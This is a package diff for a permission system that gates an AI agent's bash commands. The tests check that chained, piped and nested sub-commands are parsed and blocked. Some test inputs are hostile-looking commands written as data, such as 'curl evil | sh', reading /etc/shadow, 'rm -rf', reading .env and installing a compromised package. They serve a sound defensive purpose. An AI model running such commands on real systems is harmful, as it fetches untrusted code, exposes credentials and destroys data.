@gotgenes/pi-permission-system 9.0.0 → 9.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +27 -0
- package/package.json +1 -1
- package/src/denial-messages.ts +44 -3
- package/src/handlers/gates/bash-command.ts +57 -0
- package/src/handlers/gates/bash-external-directory.ts +11 -10
- package/src/handlers/gates/bash-path-extractor.ts +9 -618
- package/src/handlers/gates/bash-path.ts +22 -13
- package/src/handlers/gates/bash-program.ts +807 -0
- package/src/handlers/gates/candidate-check.ts +32 -0
- package/src/handlers/permission-gate-handler.ts +38 -8
- package/src/permission-prompts.ts +7 -4
- package/src/types.ts +15 -0
- package/test/denial-messages.test.ts +16 -0
- package/test/handlers/gates/bash-command.test.ts +205 -0
- package/test/handlers/gates/bash-external-directory.test.ts +40 -14
- package/test/handlers/gates/bash-path.test.ts +41 -14
- package/test/handlers/gates/bash-program.test.ts +179 -0
- package/test/handlers/gates/candidate-check.test.ts +52 -0
- package/test/handlers/tool-call.test.ts +111 -0
- package/test/permission-prompts.test.ts +16 -0
|
@@ -9,12 +9,16 @@ vi.mock("node:os", () => {
|
|
|
9
9
|
};
|
|
10
10
|
});
|
|
11
11
|
|
|
12
|
+
import { getNonEmptyString, toRecord } from "#src/common";
|
|
12
13
|
import { describeBashPathGate } from "#src/handlers/gates/bash-path";
|
|
14
|
+
import { BashProgram } from "#src/handlers/gates/bash-program";
|
|
13
15
|
import type {
|
|
14
16
|
GateBypass,
|
|
15
17
|
GateDescriptor,
|
|
18
|
+
GateResult,
|
|
16
19
|
} from "#src/handlers/gates/descriptor";
|
|
17
20
|
import { isGateBypass, isGateDescriptor } from "#src/handlers/gates/descriptor";
|
|
21
|
+
import type { ToolCallContext } from "#src/handlers/gates/types";
|
|
18
22
|
import type { Rule } from "#src/rule";
|
|
19
23
|
import type { PermissionCheckResult } from "#src/types";
|
|
20
24
|
|
|
@@ -34,13 +38,36 @@ type CheckPermissionFn = (
|
|
|
34
38
|
sessionRules?: Rule[],
|
|
35
39
|
) => PermissionCheckResult;
|
|
36
40
|
|
|
41
|
+
/**
|
|
42
|
+
* Mirror the handler's parse-once derivation: parse the bash command into a
|
|
43
|
+
* shared `BashProgram` and inject it, exactly as `permission-gate-handler.ts`
|
|
44
|
+
* does, so the gate is exercised through the production wiring.
|
|
45
|
+
*/
|
|
46
|
+
async function describeGate(
|
|
47
|
+
tcc: ToolCallContext,
|
|
48
|
+
checkPermission: CheckPermissionFn,
|
|
49
|
+
getSessionRuleset: () => Rule[],
|
|
50
|
+
): Promise<GateResult> {
|
|
51
|
+
const command = getNonEmptyString(toRecord(tcc.input).command);
|
|
52
|
+
const bashProgram =
|
|
53
|
+
tcc.toolName === "bash" && command
|
|
54
|
+
? await BashProgram.parse(command)
|
|
55
|
+
: null;
|
|
56
|
+
return describeBashPathGate(
|
|
57
|
+
tcc,
|
|
58
|
+
bashProgram,
|
|
59
|
+
checkPermission,
|
|
60
|
+
getSessionRuleset,
|
|
61
|
+
);
|
|
62
|
+
}
|
|
63
|
+
|
|
37
64
|
// ── tests ──────────────────────────────────────────────────────────────────
|
|
38
65
|
|
|
39
66
|
describe("describeBashPathGate", () => {
|
|
40
67
|
it("returns null for non-bash tools", async () => {
|
|
41
68
|
const checkPermission = vi.fn<CheckPermissionFn>();
|
|
42
69
|
const getSessionRuleset = vi.fn<() => Rule[]>().mockReturnValue([]);
|
|
43
|
-
const result = await
|
|
70
|
+
const result = await describeGate(
|
|
44
71
|
makeTcc({ toolName: "read", input: { path: ".env" } }),
|
|
45
72
|
checkPermission,
|
|
46
73
|
getSessionRuleset,
|
|
@@ -51,7 +78,7 @@ describe("describeBashPathGate", () => {
|
|
|
51
78
|
it("returns null when no tokens are extracted", async () => {
|
|
52
79
|
const checkPermission = vi.fn<CheckPermissionFn>();
|
|
53
80
|
const getSessionRuleset = vi.fn<() => Rule[]>().mockReturnValue([]);
|
|
54
|
-
const result = await
|
|
81
|
+
const result = await describeGate(
|
|
55
82
|
makeTcc({ input: { command: "echo hello" } }),
|
|
56
83
|
checkPermission,
|
|
57
84
|
getSessionRuleset,
|
|
@@ -64,7 +91,7 @@ describe("describeBashPathGate", () => {
|
|
|
64
91
|
.fn<CheckPermissionFn>()
|
|
65
92
|
.mockReturnValue(makeCheckResult({ state: "allow" }));
|
|
66
93
|
const getSessionRuleset = vi.fn<() => Rule[]>().mockReturnValue([]);
|
|
67
|
-
const result = await
|
|
94
|
+
const result = await describeGate(
|
|
68
95
|
makeTcc({ input: { command: "cat .env" } }),
|
|
69
96
|
checkPermission,
|
|
70
97
|
getSessionRuleset,
|
|
@@ -80,7 +107,7 @@ describe("describeBashPathGate", () => {
|
|
|
80
107
|
}),
|
|
81
108
|
);
|
|
82
109
|
const getSessionRuleset = vi.fn<() => Rule[]>().mockReturnValue([]);
|
|
83
|
-
const result = await
|
|
110
|
+
const result = await describeGate(
|
|
84
111
|
makeTcc({ input: { command: "cat .env" } }),
|
|
85
112
|
checkPermission,
|
|
86
113
|
getSessionRuleset,
|
|
@@ -97,7 +124,7 @@ describe("describeBashPathGate", () => {
|
|
|
97
124
|
.fn<CheckPermissionFn>()
|
|
98
125
|
.mockReturnValue(makeCheckResult({ state: "ask", matchedPattern: "*" }));
|
|
99
126
|
const getSessionRuleset = vi.fn<() => Rule[]>().mockReturnValue([]);
|
|
100
|
-
const result = await
|
|
127
|
+
const result = await describeGate(
|
|
101
128
|
makeTcc({ input: { command: "cat .env" } }),
|
|
102
129
|
checkPermission,
|
|
103
130
|
getSessionRuleset,
|
|
@@ -115,7 +142,7 @@ describe("describeBashPathGate", () => {
|
|
|
115
142
|
makeCheckResult({ state: "deny", matchedPattern: "*.env" }),
|
|
116
143
|
);
|
|
117
144
|
const getSessionRuleset = vi.fn<() => Rule[]>().mockReturnValue([]);
|
|
118
|
-
const result = (await
|
|
145
|
+
const result = (await describeGate(
|
|
119
146
|
makeTcc({ input: { command: "cat .env" } }),
|
|
120
147
|
checkPermission,
|
|
121
148
|
getSessionRuleset,
|
|
@@ -135,7 +162,7 @@ describe("describeBashPathGate", () => {
|
|
|
135
162
|
makeCheckResult({ state: "deny", matchedPattern: "*.env" }),
|
|
136
163
|
);
|
|
137
164
|
const getSessionRuleset = vi.fn<() => Rule[]>().mockReturnValue([]);
|
|
138
|
-
const result = (await
|
|
165
|
+
const result = (await describeGate(
|
|
139
166
|
makeTcc({ input: { command: "cat .env" } }),
|
|
140
167
|
checkPermission,
|
|
141
168
|
getSessionRuleset,
|
|
@@ -156,7 +183,7 @@ describe("describeBashPathGate", () => {
|
|
|
156
183
|
origin: "session",
|
|
157
184
|
},
|
|
158
185
|
]);
|
|
159
|
-
const result = await
|
|
186
|
+
const result = await describeGate(
|
|
160
187
|
makeTcc({ input: { command: "cat .env" } }),
|
|
161
188
|
checkPermission,
|
|
162
189
|
getSessionRuleset,
|
|
@@ -169,7 +196,7 @@ describe("describeBashPathGate", () => {
|
|
|
169
196
|
it("returns null when command is missing", async () => {
|
|
170
197
|
const checkPermission = vi.fn<CheckPermissionFn>();
|
|
171
198
|
const getSessionRuleset = vi.fn<() => Rule[]>().mockReturnValue([]);
|
|
172
|
-
const result = await
|
|
199
|
+
const result = await describeGate(
|
|
173
200
|
makeTcc({ input: {} }),
|
|
174
201
|
checkPermission,
|
|
175
202
|
getSessionRuleset,
|
|
@@ -188,7 +215,7 @@ describe("describeBashPathGate", () => {
|
|
|
188
215
|
return makeCheckResult({ state: "deny", matchedPattern: "*.env" });
|
|
189
216
|
});
|
|
190
217
|
const getSessionRuleset = vi.fn<() => Rule[]>().mockReturnValue([]);
|
|
191
|
-
const result = await
|
|
218
|
+
const result = await describeGate(
|
|
192
219
|
makeTcc({ input: { command: "cat src/foo.ts .env" } }),
|
|
193
220
|
checkPermission,
|
|
194
221
|
getSessionRuleset,
|
|
@@ -209,7 +236,7 @@ describe("describeBashPathGate", () => {
|
|
|
209
236
|
return makeCheckResult({ state: "allow" });
|
|
210
237
|
});
|
|
211
238
|
const getSessionRuleset = vi.fn<() => Rule[]>().mockReturnValue([]);
|
|
212
|
-
const result = await
|
|
239
|
+
const result = await describeGate(
|
|
213
240
|
makeTcc({ input: { command: "cp .env README.md" } }),
|
|
214
241
|
checkPermission,
|
|
215
242
|
getSessionRuleset,
|
|
@@ -232,7 +259,7 @@ describe("describeBashPathGate", () => {
|
|
|
232
259
|
return makeCheckResult({ state: "allow" });
|
|
233
260
|
});
|
|
234
261
|
const getSessionRuleset = vi.fn<() => Rule[]>().mockReturnValue([]);
|
|
235
|
-
const result = await
|
|
262
|
+
const result = await describeGate(
|
|
236
263
|
makeTcc({ input: { command: "echo test > .env" } }),
|
|
237
264
|
checkPermission,
|
|
238
265
|
getSessionRuleset,
|
|
@@ -252,7 +279,7 @@ describe("describeBashPathGate", () => {
|
|
|
252
279
|
}),
|
|
253
280
|
);
|
|
254
281
|
const getSessionRuleset = vi.fn<() => Rule[]>().mockReturnValue([]);
|
|
255
|
-
const result = await
|
|
282
|
+
const result = await describeGate(
|
|
256
283
|
makeTcc({ input: { command: "cat .env" } }),
|
|
257
284
|
checkPermission,
|
|
258
285
|
getSessionRuleset,
|
|
@@ -280,7 +307,7 @@ describe("describeBashPathGate", () => {
|
|
|
280
307
|
});
|
|
281
308
|
});
|
|
282
309
|
const getSessionRuleset = vi.fn<() => Rule[]>().mockReturnValue([]);
|
|
283
|
-
const result = await
|
|
310
|
+
const result = await describeGate(
|
|
284
311
|
makeTcc({ input: { command: "cat src/foo.ts .env" } }),
|
|
285
312
|
checkPermission,
|
|
286
313
|
getSessionRuleset,
|
|
@@ -0,0 +1,179 @@
|
|
|
1
|
+
import { describe, expect, it } from "vitest";
|
|
2
|
+
|
|
3
|
+
import { BashProgram } from "#src/handlers/gates/bash-program";
|
|
4
|
+
|
|
5
|
+
describe("BashProgram", () => {
|
|
6
|
+
describe("pathTokens", () => {
|
|
7
|
+
it("returns dot-files and relative path tokens", async () => {
|
|
8
|
+
const program = await BashProgram.parse("cat .env src/foo.ts");
|
|
9
|
+
expect(program.pathTokens()).toEqual([".env", "src/foo.ts"]);
|
|
10
|
+
});
|
|
11
|
+
|
|
12
|
+
it("returns an empty array when there are no path tokens", async () => {
|
|
13
|
+
const program = await BashProgram.parse("echo hello");
|
|
14
|
+
expect(program.pathTokens()).toEqual([]);
|
|
15
|
+
});
|
|
16
|
+
|
|
17
|
+
it("deduplicates repeated tokens across a command chain", async () => {
|
|
18
|
+
const program = await BashProgram.parse("cat .env && rm .env");
|
|
19
|
+
expect(program.pathTokens()).toEqual([".env"]);
|
|
20
|
+
});
|
|
21
|
+
});
|
|
22
|
+
|
|
23
|
+
describe("externalPaths", () => {
|
|
24
|
+
const cwd = "/projects/my-app";
|
|
25
|
+
|
|
26
|
+
it("returns absolute paths resolving outside cwd", async () => {
|
|
27
|
+
const program = await BashProgram.parse("cat /etc/hosts");
|
|
28
|
+
// Subset matcher: the path is normalized before comparison.
|
|
29
|
+
expect(program.externalPaths(cwd)).toContain("/etc/hosts");
|
|
30
|
+
});
|
|
31
|
+
|
|
32
|
+
it("excludes paths within cwd", async () => {
|
|
33
|
+
const program = await BashProgram.parse("cat src/index.ts");
|
|
34
|
+
expect(program.externalPaths(cwd)).toHaveLength(0);
|
|
35
|
+
});
|
|
36
|
+
});
|
|
37
|
+
|
|
38
|
+
describe("commands", () => {
|
|
39
|
+
it("returns a single-element list for a lone command", async () => {
|
|
40
|
+
const program = await BashProgram.parse("npm install pkg");
|
|
41
|
+
expect(program.commands()).toEqual([{ text: "npm install pkg" }]);
|
|
42
|
+
});
|
|
43
|
+
|
|
44
|
+
it("splits an && chain", async () => {
|
|
45
|
+
const program = await BashProgram.parse("cd /p && npm i x");
|
|
46
|
+
expect(program.commands()).toEqual([
|
|
47
|
+
{ text: "cd /p" },
|
|
48
|
+
{ text: "npm i x" },
|
|
49
|
+
]);
|
|
50
|
+
});
|
|
51
|
+
|
|
52
|
+
it("splits || , ; and & separators", async () => {
|
|
53
|
+
expect((await BashProgram.parse("a || b")).commands()).toEqual([
|
|
54
|
+
{ text: "a" },
|
|
55
|
+
{ text: "b" },
|
|
56
|
+
]);
|
|
57
|
+
expect((await BashProgram.parse("a ; b")).commands()).toEqual([
|
|
58
|
+
{ text: "a" },
|
|
59
|
+
{ text: "b" },
|
|
60
|
+
]);
|
|
61
|
+
expect((await BashProgram.parse("a & b")).commands()).toEqual([
|
|
62
|
+
{ text: "a" },
|
|
63
|
+
{ text: "b" },
|
|
64
|
+
]);
|
|
65
|
+
});
|
|
66
|
+
|
|
67
|
+
it("splits a pipeline into its commands", async () => {
|
|
68
|
+
const program = await BashProgram.parse("cat f | grep b");
|
|
69
|
+
expect(program.commands()).toEqual([
|
|
70
|
+
{ text: "cat f" },
|
|
71
|
+
{ text: "grep b" },
|
|
72
|
+
]);
|
|
73
|
+
});
|
|
74
|
+
|
|
75
|
+
it("splits newline-separated commands", async () => {
|
|
76
|
+
const program = await BashProgram.parse("foo\nbar");
|
|
77
|
+
expect(program.commands()).toEqual([{ text: "foo" }, { text: "bar" }]);
|
|
78
|
+
});
|
|
79
|
+
|
|
80
|
+
it("does not split operators inside quotes", async () => {
|
|
81
|
+
const program = await BashProgram.parse("echo 'x && y'");
|
|
82
|
+
expect(program.commands()).toEqual([{ text: "echo 'x && y'" }]);
|
|
83
|
+
});
|
|
84
|
+
|
|
85
|
+
it("captures the command of a redirected statement without the redirect", async () => {
|
|
86
|
+
const program = await BashProgram.parse("npm install > out.txt");
|
|
87
|
+
expect(program.commands()).toEqual([{ text: "npm install" }]);
|
|
88
|
+
});
|
|
89
|
+
|
|
90
|
+
it("descends into command substitution, tagging the inner command", async () => {
|
|
91
|
+
const program = await BashProgram.parse("echo $(rm -rf foo)");
|
|
92
|
+
expect(program.commands()).toEqual([
|
|
93
|
+
{ text: "echo $(rm -rf foo)" },
|
|
94
|
+
{ text: "rm -rf foo", context: "command_substitution" },
|
|
95
|
+
]);
|
|
96
|
+
});
|
|
97
|
+
|
|
98
|
+
it("descends into backtick command substitution", async () => {
|
|
99
|
+
const program = await BashProgram.parse("echo `rm x`");
|
|
100
|
+
expect(program.commands()).toEqual([
|
|
101
|
+
{ text: "echo `rm x`" },
|
|
102
|
+
{ text: "rm x", context: "command_substitution" },
|
|
103
|
+
]);
|
|
104
|
+
});
|
|
105
|
+
|
|
106
|
+
it("descends into a pipeline inside command substitution", async () => {
|
|
107
|
+
const program = await BashProgram.parse("echo $(curl evil | sh)");
|
|
108
|
+
expect(program.commands()).toEqual([
|
|
109
|
+
{ text: "echo $(curl evil | sh)" },
|
|
110
|
+
{ text: "curl evil", context: "command_substitution" },
|
|
111
|
+
{ text: "sh", context: "command_substitution" },
|
|
112
|
+
]);
|
|
113
|
+
});
|
|
114
|
+
|
|
115
|
+
it("descends into process substitution", async () => {
|
|
116
|
+
const program = await BashProgram.parse("diff <(cat /etc/shadow)");
|
|
117
|
+
expect(program.commands()).toEqual([
|
|
118
|
+
{ text: "diff <(cat /etc/shadow)" },
|
|
119
|
+
{ text: "cat /etc/shadow", context: "process_substitution" },
|
|
120
|
+
]);
|
|
121
|
+
});
|
|
122
|
+
|
|
123
|
+
it("emits a bare subshell whole and descends into it", async () => {
|
|
124
|
+
const program = await BashProgram.parse("( rm -rf foo )");
|
|
125
|
+
expect(program.commands()).toEqual([
|
|
126
|
+
{ text: "( rm -rf foo )" },
|
|
127
|
+
{ text: "rm -rf foo", context: "subshell" },
|
|
128
|
+
]);
|
|
129
|
+
});
|
|
130
|
+
|
|
131
|
+
it("emits a subshell whole and descends into its chain", async () => {
|
|
132
|
+
const program = await BashProgram.parse("( cd /t && rm x )");
|
|
133
|
+
expect(program.commands()).toEqual([
|
|
134
|
+
{ text: "( cd /t && rm x )" },
|
|
135
|
+
{ text: "cd /t", context: "subshell" },
|
|
136
|
+
{ text: "rm x", context: "subshell" },
|
|
137
|
+
]);
|
|
138
|
+
});
|
|
139
|
+
|
|
140
|
+
it("descends recursively through nested contexts", async () => {
|
|
141
|
+
const program = await BashProgram.parse("echo $( ( rm x ) )");
|
|
142
|
+
expect(program.commands()).toEqual([
|
|
143
|
+
{ text: "echo $( ( rm x ) )" },
|
|
144
|
+
{ text: "( rm x )", context: "command_substitution" },
|
|
145
|
+
{ text: "rm x", context: "subshell" },
|
|
146
|
+
]);
|
|
147
|
+
});
|
|
148
|
+
|
|
149
|
+
it("descends into a substitution within a chained command", async () => {
|
|
150
|
+
const program = await BashProgram.parse("cd /p && echo $(rm x)");
|
|
151
|
+
expect(program.commands()).toEqual([
|
|
152
|
+
{ text: "cd /p" },
|
|
153
|
+
{ text: "echo $(rm x)" },
|
|
154
|
+
{ text: "rm x", context: "command_substitution" },
|
|
155
|
+
]);
|
|
156
|
+
});
|
|
157
|
+
|
|
158
|
+
it("keeps the never-weaker invariant: a benign inner command stays", async () => {
|
|
159
|
+
const program = await BashProgram.parse("echo $(echo safe)");
|
|
160
|
+
expect(program.commands()).toEqual([
|
|
161
|
+
{ text: "echo $(echo safe)" },
|
|
162
|
+
{ text: "echo safe", context: "command_substitution" },
|
|
163
|
+
]);
|
|
164
|
+
});
|
|
165
|
+
|
|
166
|
+
it("returns an empty list for an empty or whitespace command", async () => {
|
|
167
|
+
expect((await BashProgram.parse("")).commands()).toEqual([]);
|
|
168
|
+
expect((await BashProgram.parse(" ")).commands()).toEqual([]);
|
|
169
|
+
});
|
|
170
|
+
});
|
|
171
|
+
|
|
172
|
+
it("derives both slices from a single parse", async () => {
|
|
173
|
+
const program = await BashProgram.parse("cat .env /etc/hosts");
|
|
174
|
+
expect(program.pathTokens()).toEqual([".env", "/etc/hosts"]);
|
|
175
|
+
const external = program.externalPaths("/projects/my-app");
|
|
176
|
+
expect(external).toContain("/etc/hosts");
|
|
177
|
+
expect(external).not.toContain(".env");
|
|
178
|
+
});
|
|
179
|
+
});
|
|
@@ -0,0 +1,52 @@
|
|
|
1
|
+
import { describe, expect, it } from "vitest";
|
|
2
|
+
|
|
3
|
+
import { pickMostRestrictive } from "#src/handlers/gates/candidate-check";
|
|
4
|
+
|
|
5
|
+
import { makeGateCheckResult } from "#test/helpers/gate-fixtures";
|
|
6
|
+
|
|
7
|
+
describe("pickMostRestrictive", () => {
|
|
8
|
+
it("returns undefined for an empty list", () => {
|
|
9
|
+
expect(pickMostRestrictive([])).toBeUndefined();
|
|
10
|
+
});
|
|
11
|
+
|
|
12
|
+
it("returns the single result for a one-element list", () => {
|
|
13
|
+
const only = makeGateCheckResult({ state: "allow" });
|
|
14
|
+
expect(pickMostRestrictive([only])).toBe(only);
|
|
15
|
+
});
|
|
16
|
+
|
|
17
|
+
it("prefers deny over ask and allow regardless of position", () => {
|
|
18
|
+
const allow = makeGateCheckResult({ state: "allow", matchedPattern: "a" });
|
|
19
|
+
const ask = makeGateCheckResult({ state: "ask", matchedPattern: "b" });
|
|
20
|
+
const deny = makeGateCheckResult({ state: "deny", matchedPattern: "c" });
|
|
21
|
+
expect(pickMostRestrictive([allow, ask, deny])).toBe(deny);
|
|
22
|
+
expect(pickMostRestrictive([deny, ask, allow])).toBe(deny);
|
|
23
|
+
});
|
|
24
|
+
|
|
25
|
+
it("prefers ask over allow when no deny is present", () => {
|
|
26
|
+
const allow = makeGateCheckResult({ state: "allow" });
|
|
27
|
+
const ask = makeGateCheckResult({ state: "ask" });
|
|
28
|
+
expect(pickMostRestrictive([allow, ask])).toBe(ask);
|
|
29
|
+
});
|
|
30
|
+
|
|
31
|
+
it("keeps the first deny on ties", () => {
|
|
32
|
+
const deny1 = makeGateCheckResult({
|
|
33
|
+
state: "deny",
|
|
34
|
+
matchedPattern: "first",
|
|
35
|
+
});
|
|
36
|
+
const deny2 = makeGateCheckResult({
|
|
37
|
+
state: "deny",
|
|
38
|
+
matchedPattern: "second",
|
|
39
|
+
});
|
|
40
|
+
expect(pickMostRestrictive([deny1, deny2])).toBe(deny1);
|
|
41
|
+
});
|
|
42
|
+
|
|
43
|
+
it("keeps the first ask on ties when no deny is present", () => {
|
|
44
|
+
const allow = makeGateCheckResult({ state: "allow" });
|
|
45
|
+
const ask1 = makeGateCheckResult({ state: "ask", matchedPattern: "first" });
|
|
46
|
+
const ask2 = makeGateCheckResult({
|
|
47
|
+
state: "ask",
|
|
48
|
+
matchedPattern: "second",
|
|
49
|
+
});
|
|
50
|
+
expect(pickMostRestrictive([allow, ask1, ask2])).toBe(ask1);
|
|
51
|
+
});
|
|
52
|
+
});
|
|
@@ -287,3 +287,114 @@ describe("handleToolCall — bash path gate", () => {
|
|
|
287
287
|
expect(result).toMatchObject({ block: true });
|
|
288
288
|
});
|
|
289
289
|
});
|
|
290
|
+
|
|
291
|
+
// ── bash command chain gate ───────────────────────────────────────────────
|
|
292
|
+
|
|
293
|
+
describe("handleToolCall — bash command chain gate", () => {
|
|
294
|
+
it("blocks a chain when a later sub-command is denied (#301)", async () => {
|
|
295
|
+
const checkPermission = vi
|
|
296
|
+
.fn()
|
|
297
|
+
.mockImplementation((surface: string, input: unknown) => {
|
|
298
|
+
if (surface === "bash") {
|
|
299
|
+
const command = (input as { command?: string }).command ?? "";
|
|
300
|
+
return /^npm\b/.test(command)
|
|
301
|
+
? makeCheckResult({
|
|
302
|
+
state: "deny",
|
|
303
|
+
source: "bash",
|
|
304
|
+
command,
|
|
305
|
+
matchedPattern: "npm *",
|
|
306
|
+
})
|
|
307
|
+
: makeCheckResult({
|
|
308
|
+
state: "allow",
|
|
309
|
+
source: "bash",
|
|
310
|
+
command,
|
|
311
|
+
matchedPattern: "echo *",
|
|
312
|
+
});
|
|
313
|
+
}
|
|
314
|
+
return makeCheckResult({ state: "allow" });
|
|
315
|
+
});
|
|
316
|
+
const { handler } = makeHandler({
|
|
317
|
+
session: { checkPermission },
|
|
318
|
+
toolRegistry: {
|
|
319
|
+
getAll: vi.fn().mockReturnValue([{ name: "bash" }]),
|
|
320
|
+
},
|
|
321
|
+
});
|
|
322
|
+
const event = {
|
|
323
|
+
type: "tool_call",
|
|
324
|
+
toolCallId: "tc-bash-chain",
|
|
325
|
+
name: "bash",
|
|
326
|
+
input: { command: "echo start && npm install compromised-package" },
|
|
327
|
+
};
|
|
328
|
+
const result = await handler.handleToolCall(event, makeCtx());
|
|
329
|
+
expect(result).toMatchObject({ block: true });
|
|
330
|
+
});
|
|
331
|
+
|
|
332
|
+
it("blocks a command nested inside command substitution (#306)", async () => {
|
|
333
|
+
const checkPermission = vi
|
|
334
|
+
.fn()
|
|
335
|
+
.mockImplementation((surface: string, input: unknown) => {
|
|
336
|
+
if (surface === "bash") {
|
|
337
|
+
const command = (input as { command?: string }).command ?? "";
|
|
338
|
+
return /^rm\b/.test(command)
|
|
339
|
+
? makeCheckResult({
|
|
340
|
+
state: "deny",
|
|
341
|
+
source: "bash",
|
|
342
|
+
command,
|
|
343
|
+
matchedPattern: "rm *",
|
|
344
|
+
})
|
|
345
|
+
: makeCheckResult({
|
|
346
|
+
state: "allow",
|
|
347
|
+
source: "bash",
|
|
348
|
+
command,
|
|
349
|
+
matchedPattern: "echo *",
|
|
350
|
+
});
|
|
351
|
+
}
|
|
352
|
+
return makeCheckResult({ state: "allow" });
|
|
353
|
+
});
|
|
354
|
+
const { handler } = makeHandler({
|
|
355
|
+
session: { checkPermission },
|
|
356
|
+
toolRegistry: {
|
|
357
|
+
getAll: vi.fn().mockReturnValue([{ name: "bash" }]),
|
|
358
|
+
},
|
|
359
|
+
});
|
|
360
|
+
const event = {
|
|
361
|
+
type: "tool_call",
|
|
362
|
+
toolCallId: "tc-bash-substitution",
|
|
363
|
+
name: "bash",
|
|
364
|
+
input: { command: "echo $(rm -rf foo)" },
|
|
365
|
+
};
|
|
366
|
+
const result = await handler.handleToolCall(event, makeCtx());
|
|
367
|
+
expect(result).toMatchObject({ block: true });
|
|
368
|
+
});
|
|
369
|
+
|
|
370
|
+
it("allows a single non-chained bash command", async () => {
|
|
371
|
+
const checkPermission = vi
|
|
372
|
+
.fn()
|
|
373
|
+
.mockImplementation((surface: string, input: unknown) => {
|
|
374
|
+
if (surface === "bash") {
|
|
375
|
+
const command = (input as { command?: string }).command ?? "";
|
|
376
|
+
return makeCheckResult({
|
|
377
|
+
state: "allow",
|
|
378
|
+
source: "bash",
|
|
379
|
+
command,
|
|
380
|
+
matchedPattern: "echo *",
|
|
381
|
+
});
|
|
382
|
+
}
|
|
383
|
+
return makeCheckResult({ state: "allow" });
|
|
384
|
+
});
|
|
385
|
+
const { handler } = makeHandler({
|
|
386
|
+
session: { checkPermission },
|
|
387
|
+
toolRegistry: {
|
|
388
|
+
getAll: vi.fn().mockReturnValue([{ name: "bash" }]),
|
|
389
|
+
},
|
|
390
|
+
});
|
|
391
|
+
const event = {
|
|
392
|
+
type: "tool_call",
|
|
393
|
+
toolCallId: "tc-bash-single",
|
|
394
|
+
name: "bash",
|
|
395
|
+
input: { command: "echo hi" },
|
|
396
|
+
};
|
|
397
|
+
const result = await handler.handleToolCall(event, makeCtx());
|
|
398
|
+
expect(result).toEqual({});
|
|
399
|
+
});
|
|
400
|
+
});
|
|
@@ -151,6 +151,22 @@ describe("formatAskPrompt", () => {
|
|
|
151
151
|
expect(result).toContain("matched 'git *'");
|
|
152
152
|
});
|
|
153
153
|
|
|
154
|
+
test("formats bash prompt with nested execution context", () => {
|
|
155
|
+
const result = formatAskPrompt(
|
|
156
|
+
toolResult("bash", {
|
|
157
|
+
command: "rm -rf foo",
|
|
158
|
+
matchedPattern: "rm *",
|
|
159
|
+
commandContext: "command_substitution",
|
|
160
|
+
}),
|
|
161
|
+
undefined,
|
|
162
|
+
undefined,
|
|
163
|
+
makeFormatter(),
|
|
164
|
+
);
|
|
165
|
+
expect(result).toContain(
|
|
166
|
+
"bash command 'rm -rf foo' (matched 'rm *', inside command substitution).",
|
|
167
|
+
);
|
|
168
|
+
});
|
|
169
|
+
|
|
154
170
|
test("formats MCP prompt with target", () => {
|
|
155
171
|
const result = formatAskPrompt(
|
|
156
172
|
mcpResult("server:query"),
|